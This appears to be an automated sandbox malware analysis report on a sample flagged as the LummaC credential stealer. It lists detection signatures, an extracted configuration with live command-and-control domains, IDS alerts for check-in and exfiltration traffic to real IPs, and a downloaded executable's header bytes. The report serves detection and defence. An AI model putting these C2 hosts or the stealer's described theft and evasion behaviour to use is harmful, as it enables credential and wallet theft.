Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559070
MD5:	06cdf5cbdfa34fce7dfde3b0b0fb8258
SHA1:	5acef066031742cc94cbcd9cbb34b2f36b8292d3
SHA256:	a751a6e56e59c37aa6371702d8e1f1651b28d9632b98ff3e2673f16052594e14
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6500 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 06CDF5CBDFA34FCE7DFDE3B0B0FB8258)

chrome.exe (PID: 7060 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2200 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1896,i,699837982476473794,15820292767199972277,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2032,i,11720030258500740582,152238340619267694,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "peepburry828.sbs", "processhol.sbs", "p10tgrace.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2136345870.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2135731126.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2148803658.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2135690468.0000000000B37000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2152078612.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2148853382.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2107987634.0000000000B3F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2122208646.0000000000B50000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6500	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6500	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6500	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 8 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:06.883557+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-20T06:40:07.881296+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-20T06:40:09.263712+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	188.114.97.3	443	TCP
2024-11-20T06:40:10.440480+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	188.114.97.3	443	TCP
2024-11-20T06:40:11.932075+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	188.114.97.3	443	TCP
2024-11-20T06:40:13.397753+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	188.114.97.3	443	TCP
2024-11-20T06:40:14.855577+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	188.114.97.3	443	TCP
2024-11-20T06:40:18.247335+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:07.323133+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-11-20T06:40:08.299571+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-11-20T06:40:18.674657+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:07.323133+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:08.299571+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:19.390155+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49713	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:09.831775+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49706	188.114.97.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T06:40:14.872948+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49710	188.114.97.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.2367340861.0000000005B32000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259675811.0000000007C50000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49710 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 05:40:19 GMTContent-Type: application/octet-streamContent-Length: 2817024Last-Modified: Wed, 20 Nov 2024 05:27:00 GMTConnection: keep-aliveETag: "673d7324-2afc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 5a 50 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 72 65 6c 71 72 6e 66 00 a0 2a 00 00 a0 00 00 00 9c 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 66 6f 7a 70 67 67 67 00 20 00 00 00 40 2b 00 00 04 00 00 00 d6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 da 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49713 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:50003 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Nyt+PK6Xcd5u4zY&MD=LA1sdeKR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
